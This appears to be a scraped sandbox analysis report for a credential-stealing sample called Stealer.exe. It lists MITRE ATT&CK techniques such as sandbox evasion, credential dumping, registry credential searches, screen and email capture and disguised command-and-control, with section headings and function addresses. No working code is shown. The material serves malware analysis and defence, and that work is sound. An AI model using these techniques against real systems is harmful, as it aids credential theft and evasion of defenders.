Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Stealer.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
Stealer.exe

Function 000007FE93D998ED Relevance: 12.9, Strings: 8, Instructions: 2861
COMMON

Function 000007FE93DA2784 Relevance: 5.7, Strings: 4, Instructions: 745
COMMON

Function 000007FE93D961B0 Relevance: 5.7, Strings: 4, Instructions: 697
COMMON

Function 000007FE93DB2C2D Relevance: 4.3, Strings: 3, Instructions: 598
COMMON

Function 000007FE93DAE211 Relevance: 3.2, Strings: 2, Instructions: 737
COMMON

Function 000007FE93D940D5 Relevance: 2.1, Strings: 1, Instructions: 840
COMMON

Function 000007FE93D856F1 Relevance: 1.7, Strings: 1, Instructions: 448
COMMON

Function 000007FE93D90CB1 Relevance: 1.7, APIs: 1, Instructions: 171
COMMON

Function 000007FE93D8AAD0 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre